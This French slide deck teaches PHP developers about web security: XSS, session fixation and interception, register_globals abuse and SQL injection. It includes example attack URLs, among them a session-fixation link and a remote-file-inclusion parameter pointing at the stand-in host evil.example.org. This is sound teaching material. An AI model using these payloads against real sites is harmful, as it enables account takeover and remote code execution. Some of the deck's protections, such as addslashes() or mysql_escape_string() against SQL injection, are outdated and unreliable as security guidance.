180 likes | 239 Views
Un peu de sécurité. Modex Web Baptiste Desprez. Avant d’entrer dans le vif du sujet. JavaScript Langage de script (comme PHP) Exécuté par votre navigateur ( Firefox , IE, Opera , …) Présent sur presque tous les sites au cœur des pages HTML ( Gmail , phpMyAdmin , …)
E N D
Un peu de sécurité Modex Web Baptiste Desprez
Avant d’entrer dans le vif du sujet • JavaScript • Langage de script (comme PHP) • Exécuté par votre navigateur (Firefox, IE, Opera, …) • Présent sur presque tous les sites au cœur des pages HTML (Gmail, phpMyAdmin, …) • Attention ! Il est possible de désactiver JavaScript dans votre navigateur
Cross Site Scripting (XSS) • En quoi ça consiste ? • Le XSS consiste à exploiter une faiblesse d’un site web qui contrôle mal les données insérées par les utilisateurs • Les risques • Un utilisateur malveillant peut insérer son propre code HTML ou JavaScript
Cross Site Scripting (XSS) • Quelques « pistes » pour se protéger : • Htmlspecialchars($chaine, ENT_QUOTES) • Contrôlez les données que l’utilisateur peut insérer et qui sont directement affichées dans vos pages • Mieux vaut gérer une liste « blanche » qu’une liste « noire »
Usurpation de session • En quoi ça consiste ? • L’usurpation de session consiste à accéder à la session d’un autre utilisateur • On distingue 3 types d’attaques de session : • Interception • Prédiction • Fixation • Les risques • Un utilisateur malveillant peut prendre l’identité d’une autre personne, casser le site, envoyer des messages sous une autre identité, …
Usurpation de session • Prédiction • Consiste à deviner un identifiant de session valide • Interception • Consiste à récupérer l’ID de session (PHPSESSID) via une faille XSS comme tout à l’heure, ou via GET quand la configuration de PHP le permet • Fixation • Consiste à fixer l’ID de session AVANT d’utiliser l’application • Le pirate envoie l'URL http://jesuisunsite.com/login.php?PHPSESSID=1234 à un utilisateur • L'utilisateur suit le lien, s’il ne possède pas de cookie de session, il va initialiser la session à 1234 • L'utilisateur entre son login et s'identifie • Le pirate suit alors http://jesuisunsite.com/index.php?PHPSESSID=1234 et se retrouve à la racine du site, avec la session de l'utilisateur fraichement authentifié • Si l'utilisateur est administrateur, le pirate peut directement aller sur http://jesuisunsite.com/admin.php?PHPSESSID=1234
Usurpation de session • Quelques pistes pour se protéger • ini_set('session.use_trans_sid', '0'); • Régénérer votre session, pour compliquer un peu la tâche du pirate ;) <?php session_name("Mon_Beau_Site_Web" ); session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?>
RegisterGlobals Directive du fichier de configuration de PHP (php.ini) OFF par défaut depuis php 4.2 ON sur certains serveurs pour des raisons de compatibilité…
RegisterGlobals <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> ?authorized=1 dans l’URL suffit à contourner la protection
RegisterGlobals <?php include "$path/script.php"; ?> ?path=http%3A%2F%2Fevil.example.org%2F%3F dans l’URL va donner : include "http://evil.example.org/?/script.php";
RegisterGlobals • Quelques « pistes » pour se protéger : • ini_set('register_globals', '0'); • ini_set(‘allow_url_fopen', '0');
Injection SQL • En quoi ça consiste ? • L’injection SQL consiste à exploiter une faiblesse d’un site web qui contrôle mal les données insérées par les utilisateurs (j’insiste) • Les risques • Un utilisateur malveillant peut insérer du code SQL et : • Au pire, détruire ou modifier la base de données • Au mieux, accéder à des données confidentielles
Injection SQL • Quelques « pistes » pour se protéger : • Vérifier le format des données saisies et notamment la présence de caractères spéciaux • Ne pas afficher de messages d'erreur explicites affichant la requête ou une partie de la requête SQL • Eviter les comptes sans mot de passe • Restreindre au minimum les privilèges des comptes utilisés • Mysql_escape_string() ou Addslashes() • Htmlspecialchars($chaine, ENT_QUOTES)
Vivons heureux, vivons cachés ! Phpinfo : ne l’oubliez pas ! Affichage des erreurs Affichage des messages de debug
Conclusion • Contrôlez !!! • Sécurisez les données sensibles avec HTTPS (si possible) • Méfiez-vous de ce que vous trouvez sur Internet • PhpMyAdmin : 10 failles de sécurité en 2008 • Mediawiki : 4 failles de sécurité en 2008 • … • Payant ne veut pas dire plus sécurisé ! • La plupart des intrusions sont faites de manière automatiques par des robots (GoogleHacking, …)
Quelques liens http://phpsec.org/projects/guide/fr/index.html http://fr.php.net/register_globals http://www.phpfreaks.com/tutorial/php-security/page1 http://code.google.com/p/browsersec/wiki/Main http://johnny.ihackstuff.com/ghdb.php http://julien-pauli.developpez.com/tutoriels/securite/developpement-web-securite/